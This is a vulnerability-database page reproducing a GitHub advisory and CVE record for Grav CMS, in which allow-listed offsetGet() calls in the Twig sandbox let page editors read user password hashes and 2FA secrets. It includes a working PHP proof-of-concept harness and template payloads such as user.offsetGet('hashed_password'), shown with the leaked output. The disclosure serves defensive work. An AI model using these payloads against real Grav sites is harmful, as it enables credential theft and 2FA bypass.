Vulnerability-Lookup

GHSA-3JHR-MXMX-38CX

Vulnerability from github – Published: 2026-09-17 20:27 – Updated: 2026-09-17 20:27

Summary

Grav: UserInterface offsetget/offsetexists allow-listed in Twig sandbox let editor-authored content leak hashed_password and 2FA secrets via offsetGet()

Details

Summary

system/config/security.yaml's Twig sandbox policy allow-lists offsetget and offsetexists for Grav\Common\User\Interfaces\UserInterface. The concrete Grav\Common\User\DataUser\User class does not filter which fields offsetGet() returns, so any sandboxed template with access to a User object can read hashed_password, secret (2FA seed), and twofa_secret directly, bypassing the redaction Grav's own code applies everywhere else.

The core evidence, from Grav's own code

system/src/Grav/Common/User/DataUser/User.php:

/**
 * {@inheritdoc}
 * Override to filter out sensitive fields like password hashes
 */
public function jsonSerialize(): array
{
    $items = parent::jsonSerialize();

    // Security: Remove sensitive fields that should never be exposed to frontend
    unset($items['hashed_password']);
    unset($items['secret']);         // 2FA secret
    unset($items['twofa_secret']);   // Alternative 2FA field name

    return $items;
}

public function offsetGet($offset)
{
    $value = parent::offsetGet($offset);
    // only special-cases 'authorized', nothing else -- no redaction
    return $value;
}

system/config/security.yaml:

- class: 'Grav\Common\User\Interfaces\UserInterface'
  methods: 'authorize, authorized, authenticated, username, fullname, email, language, offsetget, offsetexists'

This is the same vulnerability shape as two already-fixed issues in this file (GHSA-j274-39qw-32c9 and GHSA-mc5q-6hpj-rp7j -- both a raw, unfiltered data-access path bypassing an intended redaction) recurring on a third class neither fix covered.

Live, end-to-end verification

Built a real Twig\Environment wired with the real Twig\Extension\SandboxExtension, policed by Grav's own GravSecurityPolicy class, constructed directly from values parsed out of the actual system/config/security.yaml (via Symfony\Component\Yaml\Yaml::parseFile, not a hand-copied excerpt), rendering real template strings against a real User object.

Environment setup:

git clone https://github.com/getgrav/grav.git
cd grav
apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd
curl -sL -o /tmp/composer.phar \
  "https://github.com/composer/composer/releases/latest/download/composer.phar"
COMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction

live_sandbox_render_test.php:

<?php
require 'vendor/autoload.php';

use Symfony\Component\Yaml\Yaml;
use Twig\Environment;
use Twig\Loader\ArrayLoader;
use Twig\Extension\SandboxExtension;
use Grav\Common\Twig\Sandbox\GravSecurityPolicy;
use Grav\Common\User\DataUser\User;

$securityYaml = Yaml::parseFile('system/config/security.yaml');
$sandboxCfg = $securityYaml['twig_sandbox'];

function rowsToMap(array $rows): array {
    $out = [];
    foreach ($rows as $row) {
        $out[$row['class']] = array_map('strtolower', array_map('trim', explode(',', $row['methods'])));
    }
    return $out;
}

$policy = new GravSecurityPolicy(
    $sandboxCfg['allowed_tags'],
    $sandboxCfg['allowed_filters'],
    rowsToMap($sandboxCfg['allowed_methods']),
    rowsToMap($sandboxCfg['allowed_properties']),
    $sandboxCfg['allowed_functions']
);
$sandbox = new SandboxExtension($policy, true);

$user = new User([
    'username'        => 'admin',
    'hashed_password' => '$2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX',
    'secret'          => 'JBSWY3DPEHPK3PXP',
    'twofa_secret'    => 'ALT2FASECRETVALUE9999',
]);

function tryRender(string $label, string $template, SandboxExtension $sandbox, User $user): void {
    $twig = new Environment(new ArrayLoader(['@Page:test' => $template]));
    $twig->addExtension($sandbox);
    try {
        echo "$label => " . $twig->render('@Page:test', ['user' => $user]) . "\n";
    } catch (\Twig\Sandbox\SecurityError $e) {
        echo "$label => BLOCKED: " . $e->getMessage() . "\n";
    }
}

tryRender('hashed_password via offsetGet()', "{{ user.offsetGet('hashed_password') }}", $sandbox, $user);
tryRender('secret via offsetGet()',          "{{ user.offsetGet('secret') }}", $sandbox, $user);
tryRender('twofa_secret via offsetGet()',    "{{ user.offsetGet('twofa_secret') }}", $sandbox, $user);
tryRender('twofa_secret via subscript',      "{{ user['twofa_secret'] }}", $sandbox, $user);
tryRender('control: user.set() (unlisted)',  "{{ user.set('email', 'pwned@evil.com') }}", $sandbox, $user);

Run: php live_sandbox_render_test.php

Output:

hashed_password via offsetGet() => $2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX
secret via offsetGet() => JBSWY3DPEHPK3PXP
twofa_secret via offsetGet() => ALT2FASECRETVALUE9999
twofa_secret via subscript => BLOCKED: Calling "twofa_secret" property on a "Grav\Common\User\DataUser\User" object is not allowed in "@Page:test" at line 1.
control: user.set() (unlisted) => BLOCKED: Calling "set" method on a "Grav\Common\User\DataUser\User" object is not allowed in "@Page:test" at line 1.

The control payload (a real, non-allow-listed User method) is correctly blocked, and the target field was confirmed unchanged afterward -- confirming the sandbox is genuinely active and the three leaks above are real, not an artifact of a failed sandbox.

Precise nuance for the fix

Twig routes user.offsetGet('x') (explicit method call) and user['x'] (subscript sugar on a non-built-in ArrayAccess object) through two different sandbox checks -- checkMethodAllowed against allowed_methods, versus checkPropertyAllowed against allowed_properties. The subscript form is already correctly blocked, since UserInterface has no allowed_properties entry. Only the explicit .offsetGet()/ .offsetExists() method-call form leaks, because those methods are present in allowed_methods.

Scope, stated honestly

I could not find where Grav core itself binds a user variable into the sandboxed Twig page-content context -- Twig::processPage()'s $twig_vars has no 'user' key, and the Login plugin (the near-universal companion plugin that would populate "current logged-in user") is not part of this repository. I cannot independently confirm from this codebase alone whether that binding is always the current session user (self-disclosure only) or could resolve to an arbitrary other user (site-wide credential/2FA-secret disclosure). What is independently confirmed entirely from this repository: the security.yaml sandbox policy is Grav core's own security contract, and it allow-lists a method proven unsafe by Grav's own code, regardless of which plugin exercises it.

Impact

Any sandboxed Twig context where a UserInterface object is reachable (the standard, documented pattern for exposing "current user" to editor-authored content) allows extraction of that user's password hash (enabling offline cracking) and 2FA secret (enabling full authentication bypass by generating valid TOTP codes without possessing the user's device), by any user with page-edit permission.

Suggested fix

Trimming the UserInterface entry alone is insufficient: User extends Data, and the separate generic allowlist entry for Grav\Common\Data\Data (get, value, items, offsetget, offsetexists) independently grants the same access via instanceof matching, through three methods (get, value, offsetGet), not just one. I verified this by simulating the UserInterface-only fix and confirming all three still leak hashed_password and secret/twofa_secret.

The robust fix mirrors what was already done for Config in GHSA-j274-39qw-32c9: introduce a redacting facade for User (analogous to SandboxConfig) that filters hashed_password/secret/twofa_secret on every read path, and allow-list that facade in place of the raw User/Data class -- rather than trying to enumerate safe methods on a class whose parent class is independently allow-listed elsewhere in the same policy. A narrower alternative: override User::get()/value()/offsetGet() to apply the same redaction jsonSerialize() already does, so the fields simply don't exist to leak regardless of which accessor method reaches them.

Affected component

system/config/security.yaml, twig_sandbox.allowed_methods entry for Grav\Common\User\Interfaces\UserInterface
system/src/Grav/Common/User/DataUser/User.php, offsetGet() (behaves correctly given the sandbox's input; the gap is in what the sandbox allows through)


**Ecosystem:** `Composer`
**Package name:** `getgrav/grav`
**Affected versions:** current `2.0.15` dev tree (bounded by whenever `UserInterface` was first added to `allowed_methods` in `security.yaml` — worth checking `git log -p` on that file if you want an exact lower bound before submitting)
**Patched versions:** leave blank

**Severity / CVSS v3.1 vector string:**

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N ``` Resolves to 7.7 / High. Attack Vector = Network, Attack Complexity = Low, Privileges Required = Low, User Interaction = None, Scope = Changed, Confidentiality = High, Integrity = None, Availability = None. Flag clearly in your submission (as the description does) that if the maintainers confirm the "arbitrary other user" reachability, this should be rescored toward Critical given the 2FA-bypass implication.

CWE: CWE-522 (Insufficiently Protected Credentials), add CWE-284 (Improper Access Control)

Severity

7.7 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.15"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-76839"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T20:27:30Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`system/config/security.yaml`\u0027s Twig sandbox policy allow-lists `offsetget` and\n`offsetexists` for `Grav\\Common\\User\\Interfaces\\UserInterface`. The concrete\n`Grav\\Common\\User\\DataUser\\User` class does not filter which fields `offsetGet()`\nreturns, so any sandboxed template with access to a `User` object can read\n`hashed_password`, `secret` (2FA seed), and `twofa_secret` directly, bypassing the\nredaction Grav\u0027s own code applies everywhere else.\n\n## The core evidence, from Grav\u0027s own code\n\n`system/src/Grav/Common/User/DataUser/User.php`:\n\n```php\n/**\n * {@inheritdoc}\n * Override to filter out sensitive fields like password hashes\n */\npublic function jsonSerialize(): array\n{\n    $items = parent::jsonSerialize();\n\n    // Security: Remove sensitive fields that should never be exposed to frontend\n    unset($items[\u0027hashed_password\u0027]);\n    unset($items[\u0027secret\u0027]);         // 2FA secret\n    unset($items[\u0027twofa_secret\u0027]);   // Alternative 2FA field name\n\n    return $items;\n}\n\npublic function offsetGet($offset)\n{\n    $value = parent::offsetGet($offset);\n    // only special-cases \u0027authorized\u0027, nothing else -- no redaction\n    return $value;\n}\n```\n\n`system/config/security.yaml`:\n\n```yaml\n- class: \u0027Grav\\Common\\User\\Interfaces\\UserInterface\u0027\n  methods: \u0027authorize, authorized, authenticated, username, fullname, email, language, offsetget, offsetexists\u0027\n```\n\nThis is the same vulnerability shape as two already-fixed issues in this file\n(GHSA-j274-39qw-32c9 and GHSA-mc5q-6hpj-rp7j -- both a raw, unfiltered data-access\npath bypassing an intended redaction) recurring on a third class neither fix covered.\n\n## Live, end-to-end verification\n\nBuilt a real `Twig\\Environment` wired with the real `Twig\\Extension\\SandboxExtension`,\npoliced by Grav\u0027s own `GravSecurityPolicy` class, constructed directly from values\nparsed out of the actual `system/config/security.yaml` (via\n`Symfony\\Component\\Yaml\\Yaml::parseFile`, not a hand-copied excerpt), rendering real\ntemplate strings against a real `User` object.\n\nEnvironment setup:\n\n```bash\ngit clone https://github.com/getgrav/grav.git\ncd grav\napt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd\ncurl -sL -o /tmp/composer.phar \\\n  \"https://github.com/composer/composer/releases/latest/download/composer.phar\"\nCOMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction\n```\n\n`live_sandbox_render_test.php`:\n\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\nuse Symfony\\Component\\Yaml\\Yaml;\nuse Twig\\Environment;\nuse Twig\\Loader\\ArrayLoader;\nuse Twig\\Extension\\SandboxExtension;\nuse Grav\\Common\\Twig\\Sandbox\\GravSecurityPolicy;\nuse Grav\\Common\\User\\DataUser\\User;\n\n$securityYaml = Yaml::parseFile(\u0027system/config/security.yaml\u0027);\n$sandboxCfg = $securityYaml[\u0027twig_sandbox\u0027];\n\nfunction rowsToMap(array $rows): array {\n    $out = [];\n    foreach ($rows as $row) {\n        $out[$row[\u0027class\u0027]] = array_map(\u0027strtolower\u0027, array_map(\u0027trim\u0027, explode(\u0027,\u0027, $row[\u0027methods\u0027])));\n    }\n    return $out;\n}\n\n$policy = new GravSecurityPolicy(\n    $sandboxCfg[\u0027allowed_tags\u0027],\n    $sandboxCfg[\u0027allowed_filters\u0027],\n    rowsToMap($sandboxCfg[\u0027allowed_methods\u0027]),\n    rowsToMap($sandboxCfg[\u0027allowed_properties\u0027]),\n    $sandboxCfg[\u0027allowed_functions\u0027]\n);\n$sandbox = new SandboxExtension($policy, true);\n\n$user = new User([\n    \u0027username\u0027        =\u003e \u0027admin\u0027,\n    \u0027hashed_password\u0027 =\u003e \u0027$2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX\u0027,\n    \u0027secret\u0027          =\u003e \u0027JBSWY3DPEHPK3PXP\u0027,\n    \u0027twofa_secret\u0027    =\u003e \u0027ALT2FASECRETVALUE9999\u0027,\n]);\n\nfunction tryRender(string $label, string $template, SandboxExtension $sandbox, User $user): void {\n    $twig = new Environment(new ArrayLoader([\u0027@Page:test\u0027 =\u003e $template]));\n    $twig-\u003eaddExtension($sandbox);\n    try {\n        echo \"$label =\u003e \" . $twig-\u003erender(\u0027@Page:test\u0027, [\u0027user\u0027 =\u003e $user]) . \"\\n\";\n    } catch (\\Twig\\Sandbox\\SecurityError $e) {\n        echo \"$label =\u003e BLOCKED: \" . $e-\u003egetMessage() . \"\\n\";\n    }\n}\n\ntryRender(\u0027hashed_password via offsetGet()\u0027, \"{{ user.offsetGet(\u0027hashed_password\u0027) }}\", $sandbox, $user);\ntryRender(\u0027secret via offsetGet()\u0027,          \"{{ user.offsetGet(\u0027secret\u0027) }}\", $sandbox, $user);\ntryRender(\u0027twofa_secret via offsetGet()\u0027,    \"{{ user.offsetGet(\u0027twofa_secret\u0027) }}\", $sandbox, $user);\ntryRender(\u0027twofa_secret via subscript\u0027,      \"{{ user[\u0027twofa_secret\u0027] }}\", $sandbox, $user);\ntryRender(\u0027control: user.set() (unlisted)\u0027,  \"{{ user.set(\u0027email\u0027, \u0027pwned@evil.com\u0027) }}\", $sandbox, $user);\n```\n\nRun: `php live_sandbox_render_test.php`\n\nOutput:\n\n```\nhashed_password via offsetGet() =\u003e $2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX\nsecret via offsetGet() =\u003e JBSWY3DPEHPK3PXP\ntwofa_secret via offsetGet() =\u003e ALT2FASECRETVALUE9999\ntwofa_secret via subscript =\u003e BLOCKED: Calling \"twofa_secret\" property on a \"Grav\\Common\\User\\DataUser\\User\" object is not allowed in \"@Page:test\" at line 1.\ncontrol: user.set() (unlisted) =\u003e BLOCKED: Calling \"set\" method on a \"Grav\\Common\\User\\DataUser\\User\" object is not allowed in \"@Page:test\" at line 1.\n```\n\nThe control payload (a real, non-allow-listed `User` method) is correctly blocked,\nand the target field was confirmed unchanged afterward -- confirming the sandbox is\ngenuinely active and the three leaks above are real, not an artifact of a failed\nsandbox.\n\n## Precise nuance for the fix\n\nTwig routes `user.offsetGet(\u0027x\u0027)` (explicit method call) and `user[\u0027x\u0027]` (subscript\nsugar on a non-built-in `ArrayAccess` object) through two different sandbox checks --\n`checkMethodAllowed` against `allowed_methods`, versus `checkPropertyAllowed` against\n`allowed_properties`. The subscript form is already correctly blocked, since\n`UserInterface` has no `allowed_properties` entry. Only the explicit `.offsetGet()`/\n`.offsetExists()` method-call form leaks, because those methods are present in\n`allowed_methods`.\n\n## Scope, stated honestly\n\nI could not find where Grav core itself binds a `user` variable into the sandboxed\nTwig page-content context -- `Twig::processPage()`\u0027s `$twig_vars` has no `\u0027user\u0027` key,\nand the Login plugin (the near-universal companion plugin that would populate\n\"current logged-in user\") is not part of this repository. I cannot independently\nconfirm from this codebase alone whether that binding is always the current session\nuser (self-disclosure only) or could resolve to an arbitrary other user (site-wide\ncredential/2FA-secret disclosure). What is independently confirmed entirely from this\nrepository: the `security.yaml` sandbox policy is Grav core\u0027s own security contract,\nand it allow-lists a method proven unsafe by Grav\u0027s own code, regardless of which\nplugin exercises it.\n\n## Impact\n\nAny sandboxed Twig context where a `UserInterface` object is reachable (the standard,\ndocumented pattern for exposing \"current user\" to editor-authored content) allows\nextraction of that user\u0027s password hash (enabling offline cracking) and 2FA secret\n(enabling full authentication bypass by generating valid TOTP codes without possessing\nthe user\u0027s device), by any user with page-edit permission.\n\n## Suggested fix \n\nTrimming the `UserInterface` entry alone is insufficient: `User extends Data`, and the\nseparate generic allowlist entry for `Grav\\Common\\Data\\Data` (`get, value, items,\noffsetget, offsetexists`) independently grants the same access via `instanceof`\nmatching, through three methods (`get`, `value`, `offsetGet`), not just one. I verified\nthis by simulating the UserInterface-only fix and confirming all three still leak\n`hashed_password` and `secret`/`twofa_secret`.\n\nThe robust fix mirrors what was already done for Config in GHSA-j274-39qw-32c9:\nintroduce a redacting facade for User (analogous to SandboxConfig) that filters\nhashed_password/secret/twofa_secret on every read path, and allow-list that facade in\nplace of the raw User/Data class -- rather than trying to enumerate safe methods on a\nclass whose parent class is independently allow-listed elsewhere in the same policy.\nA narrower alternative: override User::get()/value()/offsetGet() to apply the same\nredaction jsonSerialize() already does, so the fields simply don\u0027t exist to leak\nregardless of which accessor method reaches them.\n\n## Affected component\n\n- `system/config/security.yaml`, `twig_sandbox.allowed_methods` entry for\n  `Grav\\Common\\User\\Interfaces\\UserInterface`\n- `system/src/Grav/Common/User/DataUser/User.php`, `offsetGet()` (behaves correctly\n  given the sandbox\u0027s input; the gap is in what the sandbox allows through)\n```\n\n**Ecosystem:** `Composer`\n**Package name:** `getgrav/grav`\n**Affected versions:** current `2.0.15` dev tree (bounded by whenever `UserInterface` was first added to `allowed_methods` in `security.yaml` \u2014 worth checking `git log -p` on that file if you want an exact lower bound before submitting)\n**Patched versions:** leave blank\n\n**Severity / CVSS v3.1 vector string:**\n```\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N\n```\nResolves to **7.7 / High**. Attack Vector = Network, Attack Complexity = Low, Privileges Required = Low, User Interaction = None, Scope = Changed, Confidentiality = High, Integrity = None, Availability = None. Flag clearly in your submission (as the description does) that if the maintainers confirm the \"arbitrary other user\" reachability, this should be rescored toward Critical given the 2FA-bypass implication.\n\n**CWE:** `CWE-522` (Insufficiently Protected Credentials), add `CWE-284` (Improper Access Control)",
  "id": "GHSA-3jhr-mxmx-38cx",
  "modified": "2026-09-17T20:27:30Z",
  "published": "2026-09-17T20:27:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-3jhr-mxmx-38cx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76839"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-before-information-disclosure-via-offsetget"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grav: UserInterface offsetget/offsetexists allow-listed in Twig sandbox let editor-authored content leak hashed_password and 2FA secrets via offsetGet()"
}

CVE-2026-76839 (GCVE-0-2026-76839)

Vulnerability from cvelistv5 – Published: 2026-08-25 01:30 – Updated: 2026-08-25 15:45

Title

Grav before 2.0.16 Information Disclosure via offsetGet

Summary

Grav before 2.0.16 allows sandboxed Twig templates to access sensitive User fields through allow-listed offsetGet() and offsetexists() methods that lack field filtering. Attackers with page-edit permissions can call offsetGet() on User objects to extract hashed passwords and 2FA secrets, enabling offline password cracking and authentication bypass.

Severity

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-25 15:44 UTC

CWE

CWE-522 - Insufficiently Protected Credentials

Assigner

VulnCheck mitre root

References

2 references

URL	Tags
https://github.com/getgrav/grav/security/advisori…	vendor-advisory
https://www.vulncheck.com/advisories/grav-before-…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version
getgrav	grav	Affected: 0 , < 2.0.16 (semver) Unaffected: 2.0.16 (semver) cpe:2.3:a:getgrav:grav::::::::

Date Public

2026-08-10 00:00

Credits

alham-rizvi

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-76839",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-25T15:44:59.569951Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-25T15:45:24.322Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/getgrav/grav/security/advisories/GHSA-3jhr-mxmx-38cx"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "grav",
          "vendor": "getgrav",
          "versions": [
            {
              "lessThan": "2.0.16",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "2.0.16",
              "versionType": "semver"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "2.0.16",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "alham-rizvi"
        }
      ],
      "datePublic": "2026-08-10T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "Grav before 2.0.16 allows sandboxed Twig templates to access sensitive User fields through allow-listed offsetGet() and offsetexists() methods that lack field filtering. Attackers with page-edit permissions can call offsetGet() on User objects to extract hashed passwords and 2FA secrets, enabling offline password cracking and authentication bypass."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "Automatable": "NOT_DEFINED",
            "Recovery": "NOT_DEFINED",
            "Safety": "NOT_DEFINED",
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "exploitMaturity": "NOT_DEFINED",
            "privilegesRequired": "NONE",
            "providerUrgency": "NOT_DEFINED",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "valueDensity": "NOT_DEFINED",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "NONE",
            "vulnerabilityResponseEffort": "NOT_DEFINED"
          },
          "format": "CVSS"
        },
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-522",
              "description": "Insufficiently Protected Credentials",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-25T01:30:31.050Z",
        "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "shortName": "VulnCheck"
      },
      "references": [
        {
          "name": "GitHub Security Advisory (GHSA-3jhr-mxmx-38cx)",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/getgrav/grav/security/advisories/GHSA-3jhr-mxmx-38cx"
        },
        {
          "name": "VulnCheck Advisory: Grav before 2.0.16 Information Disclosure via offsetGet",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://www.vulncheck.com/advisories/grav-before-information-disclosure-via-offsetget"
        }
      ],
      "title": "Grav before 2.0.16 Information Disclosure via offsetGet",
      "x_generator": {
        "engine": "vulncheck-endgame"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
    "assignerShortName": "VulnCheck",
    "cveId": "CVE-2026-76839",
    "datePublished": "2026-08-25T01:30:31.050Z",
    "dateReserved": "2026-08-19T20:34:19.723Z",
    "dateUpdated": "2026-08-25T15:45:24.322Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-3JHR-MXMX-38CX

Summary

The core evidence, from Grav's own code

Live, end-to-end verification

Precise nuance for the fix

Scope, stated honestly

Impact

Suggested fix

Affected component

CVE-2026-76839 (GCVE-0-2026-76839)

Tags

Sightings

Nomenclature

Related by attack behaviour